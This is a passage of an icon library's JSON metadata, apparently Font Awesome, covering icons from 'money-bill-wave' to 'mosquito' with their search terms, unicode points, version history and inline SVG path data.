        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M470.7 9.4c3 3.1 5.3 6.6 6.9 10.3s2.4 7.8 2.4 12.2l0 .1v0 96c0 17.7-14.3 32-32 32s-32-14.3-32-32V109.3L310.6 214.6c-11.8 11.8-30.8 12.6-43.5 1.7L176 138.1 84.8 216.3c-13.4 11.5-33.6 9.9-45.1-3.5s-9.9-33.6 3.5-45.1l112-96c12-10.3 29.7-10.3 41.7 0l89.5 76.7L370.7 64H352c-17.7 0-32-14.3-32-32s14.3-32 32-32h96 0c8.8 0 16.8 3.6 22.6 9.3l.1 .1zM0 304c0-26.5 21.5-48 48-48H464c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V304zM48 416v48H96c0-26.5-21.5-48-48-48zM96 304H48v48c26.5 0 48-21.5 48-48zM464 416c-26.5 0-48 21.5-48 48h48V416zM416 304c0 26.5 21.5 48 48 48V304H416zm-96 80a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M470.7 9.4c3 3.1 5.3 6.6 6.9 10.3s2.4 7.8 2.4 12.2l0 .1v0 96c0 17.7-14.3 32-32 32s-32-14.3-32-32V109.3L310.6 214.6c-11.8 11.8-30.8 12.6-43.5 1.7L176 138.1 84.8 216.3c-13.4 11.5-33.6 9.9-45.1-3.5s-9.9-33.6 3.5-45.1l112-96c12-10.3 29.7-10.3 41.7 0l89.5 76.7L370.7 64H352c-17.7 0-32-14.3-32-32s14.3-32 32-32h96 0c8.8 0 16.8 3.6 22.6 9.3l.1 .1zM0 304c0-26.5 21.5-48 48-48H464c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V304zM48 416v48H96c0-26.5-21.5-48-48-48zM96 304H48v48c26.5 0 48-21.5 48-48zM464 416c-26.5 0-48 21.5-48 48h48V416zM416 304c0 26.5 21.5 48 48 48V304H416zm-96 80a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z"
      }
    },
    "free": ["solid"]
  },
  "money-bill-wave": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f53a"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "buy",
        "cash",
        "checkout",
        "money",
        "payment",
        "price",
        "purchase"
      ]
    },
    "styles": ["solid"],
    "unicode": "f53a",
    "label": "Money Bill Wave",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 112.5V422.3c0 18 10.1 35 27 41.3c87 32.5 174 10.3 261-11.9c79.8-20.3 159.6-40.7 239.3-18.9c23 6.3 48.7-9.5 48.7-33.4V89.7c0-18-10.1-35-27-41.3C462 15.9 375 38.1 288 60.3C208.2 80.6 128.4 100.9 48.7 79.1C25.6 72.8 0 88.6 0 112.5zM288 352c-44.2 0-80-43-80-96s35.8-96 80-96s80 43 80 96s-35.8 96-80 96zM64 352c35.3 0 64 28.7 64 64H64V352zm64-208c0 35.3-28.7 64-64 64V144h64zM512 304v64H448c0-35.3 28.7-64 64-64zM448 96h64v64c-35.3 0-64-28.7-64-64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 112.5V422.3c0 18 10.1 35 27 41.3c87 32.5 174 10.3 261-11.9c79.8-20.3 159.6-40.7 239.3-18.9c23 6.3 48.7-9.5 48.7-33.4V89.7c0-18-10.1-35-27-41.3C462 15.9 375 38.1 288 60.3C208.2 80.6 128.4 100.9 48.7 79.1C25.6 72.8 0 88.6 0 112.5zM288 352c-44.2 0-80-43-80-96s35.8-96 80-96s80 43 80 96s-35.8 96-80 96zM64 352c35.3 0 64 28.7 64 64H64V352zm64-208c0 35.3-28.7 64-64 64V144h64zM512 304v64H448c0-35.3 28.7-64 64-64zM448 96h64v64c-35.3 0-64-28.7-64-64z"
      }
    },
    "free": ["solid"]
  },
  "money-bill-wheat": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "agribusiness",
        "agriculture",
        "farming",
        "food",
        "livelihood",
        "subsidy"
      ]
    },
    "styles": ["solid"],
    "unicode": "e52a",
    "label": "Money Bill Wheat",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M176 0c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80c0-8.8 7.2-16 16-16zM56 16h48c13.3 0 24 10.7 24 24s-10.7 24-24 24H56C42.7 64 32 53.3 32 40s10.7-24 24-24zM24 88H136c13.3 0 24 10.7 24 24s-10.7 24-24 24H24c-13.3 0-24-10.7-24-24S10.7 88 24 88zm8 96c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24s-10.7 24-24 24H56c-13.3 0-24-10.7-24-24zM272 16c0-8.8 7.2-16 16-16c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80zM400 0c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80c0-8.8 7.2-16 16-16zm80 144c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80c8.8 0 16 7.2 16 16zM352 128c8.8 0 16 7.2 16 16c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80zm-96 16c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80c8.8 0 16 7.2 16 16zM0 304c0-26.5 21.5-48 48-48H464c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V304zM48 416v48H96c0-26.5-21.5-48-48-48zM96 304H48v48c26.5 0 48-21.5 48-48zM464 416c-26.5 0-48 21.5-48 48h48V416zM416 304c0 26.5 21.5 48 48 48V304H416zm-96 80a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M176 0c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80c0-8.8 7.2-16 16-16zM56 16h48c13.3 0 24 10.7 24 24s-10.7 24-24 24H56C42.7 64 32 53.3 32 40s10.7-24 24-24zM24 88H136c13.3 0 24 10.7 24 24s-10.7 24-24 24H24c-13.3 0-24-10.7-24-24S10.7 88 24 88zm8 96c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24s-10.7 24-24 24H56c-13.3 0-24-10.7-24-24zM272 16c0-8.8 7.2-16 16-16c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80zM400 0c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80c0-8.8 7.2-16 16-16zm80 144c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80c8.8 0 16 7.2 16 16zM352 128c8.8 0 16 7.2 16 16c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80zm-96 16c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80c8.8 0 16 7.2 16 16zM0 304c0-26.5 21.5-48 48-48H464c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V304zM48 416v48H96c0-26.5-21.5-48-48-48zM96 304H48v48c26.5 0 48-21.5 48-48zM464 416c-26.5 0-48 21.5-48 48h48V416zM416 304c0 26.5 21.5 48 48 48V304H416zm-96 80a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z"
      }
    },
    "free": ["solid"]
  },
  "money-bills": {
    "changes": [
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["atm", "cash", "money", "moolah"]
    },
    "styles": ["solid"],
    "unicode": "e1f3",
    "label": "Money Bills",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 96V320c0 35.3 28.7 64 64 64H576c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H160c-35.3 0-64 28.7-64 64zm64 160c35.3 0 64 28.7 64 64H160V256zM224 96c0 35.3-28.7 64-64 64V96h64zM576 256v64H512c0-35.3 28.7-64 64-64zM512 96h64v64c-35.3 0-64-28.7-64-64zM288 208a80 80 0 1 1 160 0 80 80 0 1 1 -160 0zM48 120c0-13.3-10.7-24-24-24S0 106.7 0 120V360c0 66.3 53.7 120 120 120H520c13.3 0 24-10.7 24-24s-10.7-24-24-24H120c-39.8 0-72-32.2-72-72V120z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 96V320c0 35.3 28.7 64 64 64H576c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H160c-35.3 0-64 28.7-64 64zm64 160c35.3 0 64 28.7 64 64H160V256zM224 96c0 35.3-28.7 64-64 64V96h64zM576 256v64H512c0-35.3 28.7-64 64-64zM512 96h64v64c-35.3 0-64-28.7-64-64zM288 208a80 80 0 1 1 160 0 80 80 0 1 1 -160 0zM48 120c0-13.3-10.7-24-24-24S0 106.7 0 120V360c0 66.3 53.7 120 120 120H520c13.3 0 24-10.7 24-24s-10.7-24-24-24H120c-39.8 0-72-32.2-72-72V120z"
      }
    },
    "free": ["solid"]
  },
  "money-check": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f53c"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bank check",
        "buy",
        "checkout",
        "cheque",
        "money",
        "payment",
        "price",
        "purchase"
      ]
    },
    "styles": ["solid"],
    "unicode": "f53c",
    "label": "Money Check",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zm48 160H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zM96 336c0-8.8 7.2-16 16-16H464c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16zM376 160h80c13.3 0 24 10.7 24 24v48c0 13.3-10.7 24-24 24H376c-13.3 0-24-10.7-24-24V184c0-13.3 10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zm48 160H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zM96 336c0-8.8 7.2-16 16-16H464c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16zM376 160h80c13.3 0 24 10.7 24 24v48c0 13.3-10.7 24-24 24H376c-13.3 0-24-10.7-24-24V184c0-13.3 10.7-24 24-24z"
      }
    },
    "free": ["solid"]
  },
  "money-check-dollar": {
    "aliases": {
      "names": ["money-check-alt"],
      "unicodes": {
        "secondary": ["10f53d"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bank check",
        "buy",
        "checkout",
        "cheque",
        "money",
        "payment",
        "price",
        "purchase"
      ]
    },
    "styles": ["solid"],
    "unicode": "f53d",
    "label": "Money Check Dollar",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zM272 192H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H272c-8.8 0-16-7.2-16-16s7.2-16 16-16zM256 304c0-8.8 7.2-16 16-16H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H272c-8.8 0-16-7.2-16-16zM164 152v13.9c7.5 1.2 14.6 2.9 21.1 4.7c10.7 2.8 17 13.8 14.2 24.5s-13.8 17-24.5 14.2c-11-2.9-21.6-5-31.2-5.2c-7.9-.1-16 1.8-21.5 5c-4.8 2.8-6.2 5.6-6.2 9.3c0 1.8 .1 3.5 5.3 6.7c6.3 3.8 15.5 6.7 28.3 10.5l.7 .2c11.2 3.4 25.6 7.7 37.1 15c12.9 8.1 24.3 21.3 24.6 41.6c.3 20.9-10.5 36.1-24.8 45c-7.2 4.5-15.2 7.3-23.2 9V360c0 11-9 20-20 20s-20-9-20-20V345.4c-10.3-2.2-20-5.5-28.2-8.4l0 0 0 0c-2.1-.7-4.1-1.4-6.1-2.1c-10.5-3.5-16.1-14.8-12.6-25.3s14.8-16.1 25.3-12.6c2.5 .8 4.9 1.7 7.2 2.4c13.6 4.6 24 8.1 35.1 8.5c8.6 .3 16.5-1.6 21.4-4.7c4.1-2.5 6-5.5 5.9-10.5c0-2.9-.8-5-5.9-8.2c-6.3-4-15.4-6.9-28-10.7l-1.7-.5c-10.9-3.3-24.6-7.4-35.6-14c-12.7-7.7-24.6-20.5-24.7-40.7c-.1-21.1 11.8-35.7 25.8-43.9c6.9-4.1 14.5-6.8 22.2-8.5V152c0-11 9-20 20-20s20 9 20 20z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zM272 192H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H272c-8.8 0-16-7.2-16-16s7.2-16 16-16zM256 304c0-8.8 7.2-16 16-16H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H272c-8.8 0-16-7.2-16-16zM164 152v13.9c7.5 1.2 14.6 2.9 21.1 4.7c10.7 2.8 17 13.8 14.2 24.5s-13.8 17-24.5 14.2c-11-2.9-21.6-5-31.2-5.2c-7.9-.1-16 1.8-21.5 5c-4.8 2.8-6.2 5.6-6.2 9.3c0 1.8 .1 3.5 5.3 6.7c6.3 3.8 15.5 6.7 28.3 10.5l.7 .2c11.2 3.4 25.6 7.7 37.1 15c12.9 8.1 24.3 21.3 24.6 41.6c.3 20.9-10.5 36.1-24.8 45c-7.2 4.5-15.2 7.3-23.2 9V360c0 11-9 20-20 20s-20-9-20-20V345.4c-10.3-2.2-20-5.5-28.2-8.4l0 0 0 0c-2.1-.7-4.1-1.4-6.1-2.1c-10.5-3.5-16.1-14.8-12.6-25.3s14.8-16.1 25.3-12.6c2.5 .8 4.9 1.7 7.2 2.4c13.6 4.6 24 8.1 35.1 8.5c8.6 .3 16.5-1.6 21.4-4.7c4.1-2.5 6-5.5 5.9-10.5c0-2.9-.8-5-5.9-8.2c-6.3-4-15.4-6.9-28-10.7l-1.7-.5c-10.9-3.3-24.6-7.4-35.6-14c-12.7-7.7-24.6-20.5-24.7-40.7c-.1-21.1 11.8-35.7 25.8-43.9c6.9-4.1 14.5-6.8 22.2-8.5V152c0-11 9-20 20-20s20 9 20 20z"
      }
    },
    "free": ["solid"]
  },
  "monument": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5a6"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["building", "historic", "landmark", "memorable"]
    },
    "styles": ["solid"],
    "unicode": "f5a6",
    "label": "Monument",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M180.7 4.7c6.2-6.2 16.4-6.2 22.6 0l80 80c2.5 2.5 4.1 5.8 4.6 9.3l40.2 322H55.9L96.1 94c.4-3.5 2-6.8 4.6-9.3l80-80zM152 272c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H152zM32 448H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M180.7 4.7c6.2-6.2 16.4-6.2 22.6 0l80 80c2.5 2.5 4.1 5.8 4.6 9.3l40.2 322H55.9L96.1 94c.4-3.5 2-6.8 4.6-9.3l80-80zM152 272c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H152zM32 448H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "moon": {
    "aliases": {
      "unicodes": {
        "composite": ["1f319", "23fe"],
        "secondary": ["10f186"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Power Sleep Symbol",
        "contrast",
        "crescent",
        "crescent moon",
        "dark",
        "lunar",
        "moon",
        "night"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f186",
    "label": "Moon",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M223.5 32C100 32 0 132.3 0 256S100 480 223.5 480c60.6 0 115.5-24.2 155.8-63.4c5-4.9 6.3-12.5 3.1-18.7s-10.1-9.7-17-8.5c-9.8 1.7-19.8 2.6-30.1 2.6c-96.9 0-175.5-78.8-175.5-176c0-65.8 36-123.1 89.3-153.3c6.1-3.5 9.2-10.5 7.7-17.3s-7.3-11.9-14.3-12.5c-6.3-.5-12.6-.8-19-.8z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M223.5 32C100 32 0 132.3 0 256S100 480 223.5 480c60.6 0 115.5-24.2 155.8-63.4c5-4.9 6.3-12.5 3.1-18.7s-10.1-9.7-17-8.5c-9.8 1.7-19.8 2.6-30.1 2.6c-96.9 0-175.5-78.8-175.5-176c0-65.8 36-123.1 89.3-153.3c6.1-3.5 9.2-10.5 7.7-17.3s-7.3-11.9-14.3-12.5c-6.3-.5-12.6-.8-19-.8z"
      },
      "regular": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M144.7 98.7c-21 34.1-33.1 74.3-33.1 117.3c0 98 62.8 181.4 150.4 211.7c-12.4 2.8-25.3 4.3-38.6 4.3C126.6 432 48 353.3 48 256c0-68.9 39.4-128.4 96.8-157.3zm62.1-66C91.1 41.2 0 137.9 0 256C0 379.7 100 480 223.5 480c47.8 0 92-15 128.4-40.6c1.9-1.3 3.7-2.7 5.5-4c4.8-3.6 9.4-7.4 13.9-11.4c2.7-2.4 5.3-4.8 7.9-7.3c5-4.9 6.3-12.5 3.1-18.7s-10.1-9.7-17-8.5c-3.7 .6-7.4 1.2-11.1 1.6c-5 .5-10.1 .9-15.3 1c-1.2 0-2.5 0-3.7 0c-.1 0-.2 0-.3 0c-96.8-.2-175.2-78.9-175.2-176c0-54.8 24.9-103.7 64.1-136c1-.9 2.1-1.7 3.2-2.6c4-3.2 8.2-6.2 12.5-9c3.1-2 6.3-4 9.6-5.8c6.1-3.5 9.2-10.5 7.7-17.3s-7.3-11.9-14.3-12.5c-3.6-.3-7.1-.5-10.7-.6c-2.7-.1-5.5-.1-8.2-.1c-3.3 0-6.5 .1-9.8 .2c-2.3 .1-4.6 .2-6.9 .4z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M144.7 98.7c-21 34.1-33.1 74.3-33.1 117.3c0 98 62.8 181.4 150.4 211.7c-12.4 2.8-25.3 4.3-38.6 4.3C126.6 432 48 353.3 48 256c0-68.9 39.4-128.4 96.8-157.3zm62.1-66C91.1 41.2 0 137.9 0 256C0 379.7 100 480 223.5 480c47.8 0 92-15 128.4-40.6c1.9-1.3 3.7-2.7 5.5-4c4.8-3.6 9.4-7.4 13.9-11.4c2.7-2.4 5.3-4.8 7.9-7.3c5-4.9 6.3-12.5 3.1-18.7s-10.1-9.7-17-8.5c-3.7 .6-7.4 1.2-11.1 1.6c-5 .5-10.1 .9-15.3 1c-1.2 0-2.5 0-3.7 0c-.1 0-.2 0-.3 0c-96.8-.2-175.2-78.9-175.2-176c0-54.8 24.9-103.7 64.1-136c1-.9 2.1-1.7 3.2-2.6c4-3.2 8.2-6.2 12.5-9c3.1-2 6.3-4 9.6-5.8c6.1-3.5 9.2-10.5 7.7-17.3s-7.3-11.9-14.3-12.5c-3.6-.3-7.1-.5-10.7-.6c-2.7-.1-5.5-.1-8.2-.1c-3.3 0-6.5 .1-9.8 .2c-2.3 .1-4.6 .2-6.9 .4z"
      }
    },
    "free": ["regular", "solid"]
  },
  "mortar-pestle": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5a7"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "crush",
        "culinary",
        "grind",
        "medical",
        "mix",
        "pharmacy",
        "prescription",
        "spices"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5a7",
    "label": "Mortar Pestle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767421,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504.3 11.1C493.3-1.6 474.5-3.7 461 6.2L252.3 160H397.3L502.6 54.6c11.8-11.8 12.6-30.8 1.6-43.5zM32 192c-17.7 0-32 14.3-32 32s14.3 32 32 32c0 82.5 43.4 147.7 123.9 176.2c-11.1 13.9-19.4 30.3-23.9 48.1C127.6 497.4 142.3 512 160 512H352c17.7 0 32.4-14.6 28.1-31.7c-4.5-17.8-12.8-34.1-23.9-48.1C436.6 403.7 480 338.5 480 256c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M504.3 11.1C493.3-1.6 474.5-3.7 461 6.2L252.3 160H397.3L502.6 54.6c11.8-11.8 12.6-30.8 1.6-43.5zM32 192c-17.7 0-32 14.3-32 32s14.3 32 32 32c0 82.5 43.4 147.7 123.9 176.2c-11.1 13.9-19.4 30.3-23.9 48.1C127.6 497.4 142.3 512 160 512H352c17.7 0 32.4-14.6 28.1-31.7c-4.5-17.8-12.8-34.1-23.9-48.1C436.6 403.7 480 338.5 480 256c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z"
      }
    },
    "free": ["solid"]
  },
  "mosque": {
    "aliases": {
      "unicodes": {
        "composite": ["1f54c"],
        "secondary": ["10f678"]
      }
    },
    "changes": [
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Muslim",
        "building",
        "islam",
        "landmark",
        "mosque",
        "muslim",
        "religion"
      ]
    },
    "styles": ["solid"],
    "unicode": "f678",
    "label": "Mosque",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M400 0c5 0 9.8 2.4 12.8 6.4c34.7 46.3 78.1 74.9 133.5 111.5l0 0 0 0c5.2 3.4 10.5 7 16 10.6c28.9 19.2 45.7 51.7 45.7 86.1c0 28.6-11.3 54.5-29.8 73.4H221.8c-18.4-19-29.8-44.9-29.8-73.4c0-34.4 16.7-66.9 45.7-86.1c5.4-3.6 10.8-7.1 16-10.6l0 0 0 0C309.1 81.3 352.5 52.7 387.2 6.4c3-4 7.8-6.4 12.8-6.4zM288 512V440c0-13.3-10.7-24-24-24s-24 10.7-24 24v72H192c-17.7 0-32-14.3-32-32V352c0-17.7 14.3-32 32-32H608c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H560V440c0-13.3-10.7-24-24-24s-24 10.7-24 24v72H448V454c0-19-8.4-37-23-49.2L400 384l-25 20.8C360.4 417 352 435 352 454v58H288zM70.4 5.2c5.7-4.3 13.5-4.3 19.2 0l16 12C139.8 42.9 160 83.2 160 126v2H0v-2C0 83.2 20.2 42.9 54.4 17.2l16-12zM0 160H160V296.6c-19.1 11.1-32 31.7-32 55.4V480c0 9.6 2.1 18.6 5.8 26.8c-6.6 3.4-14 5.2-21.8 5.2H48c-26.5 0-48-21.5-48-48V176 160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M400 0c5 0 9.8 2.4 12.8 6.4c34.7 46.3 78.1 74.9 133.5 111.5l0 0 0 0c5.2 3.4 10.5 7 16 10.6c28.9 19.2 45.7 51.7 45.7 86.1c0 28.6-11.3 54.5-29.8 73.4H221.8c-18.4-19-29.8-44.9-29.8-73.4c0-34.4 16.7-66.9 45.7-86.1c5.4-3.6 10.8-7.1 16-10.6l0 0 0 0C309.1 81.3 352.5 52.7 387.2 6.4c3-4 7.8-6.4 12.8-6.4zM288 512V440c0-13.3-10.7-24-24-24s-24 10.7-24 24v72H192c-17.7 0-32-14.3-32-32V352c0-17.7 14.3-32 32-32H608c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H560V440c0-13.3-10.7-24-24-24s-24 10.7-24 24v72H448V454c0-19-8.4-37-23-49.2L400 384l-25 20.8C360.4 417 352 435 352 454v58H288zM70.4 5.2c5.7-4.3 13.5-4.3 19.2 0l16 12C139.8 42.9 160 83.2 160 126v2H0v-2C0 83.2 20.2 42.9 54.4 17.2l16-12zM0 160H160V296.6c-19.1 11.1-32 31.7-32 55.4V480c0 9.6 2.1 18.6 5.8 26.8c-6.6 3.4-14 5.2-21.8 5.2H48c-26.5 0-48-21.5-48-48V176 160z"
      }
    },
    "free": ["solid"]
  },
  "mosquito": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bite", "bug", "mosquito", "west nile"]
    },
    "styles": ["solid"],
    "unicode": "e52b",
    "label": "Mosquito",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M463.7 505.9c9.8-8.9 10.7-24.3 2.1-34.3l-42.1-49 0-54.7c0-5.5-1.8-10.8-5.1-15.1L352 266.3l0-.3L485.4 387.8C542.4 447.6 640 405.2 640 320.6c0-47.9-34-88.3-79.4-94.2l-153-23.9 40.8-40.9c7.8-7.8 9.4-20.1 3.9-29.8L428.5 90.1l38.2-50.9c8-10.6 6.1-25.9-4.3-34.1s-25.2-6.3-33.2 4.4l-48 63.9c-5.9 7.9-6.6 18.6-1.7 27.2L402.2 140 352 190.3l0-38.2c0-14.9-10.2-27.4-24-31l0-57.2c0-4.4-3.6-8-8-8s-8 3.6-8 8l0 57.2c-13.8 3.6-24 16.1-24 31l0 38.1L237.8 140l22.6-39.5c4.9-8.6 4.2-19.3-1.7-27.2l-48-63.9c-8-10.6-22.8-12.6-33.2-4.4s-12.2 23.5-4.3 34.1l38.2 50.9-23.9 41.7c-5.5 9.7-3.9 22 3.9 29.8l40.8 40.9-153 23.9C34 232.3 0 272.7 0 320.6c0 84.6 97.6 127 154.6 67.1L288 266l0 .3-66.5 86.4c-3.3 4.3-5.1 9.6-5.1 15.1l0 54.7-42.1 49c-8.6 10.1-7.7 25.5 2.1 34.3s24.7 7.9 33.4-2.1l48-55.9c3.8-4.4 5.9-10.2 5.9-16.1l0-55.4L288 344.7l0 63.1c0 17.7 14.3 32 32 32s32-14.3 32-32l0-63.1 24.3 31.6 0 55.4c0 5.9 2.1 11.7 5.9 16.1l48 55.9c8.6 10.1 23.6 11 33.4 2.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
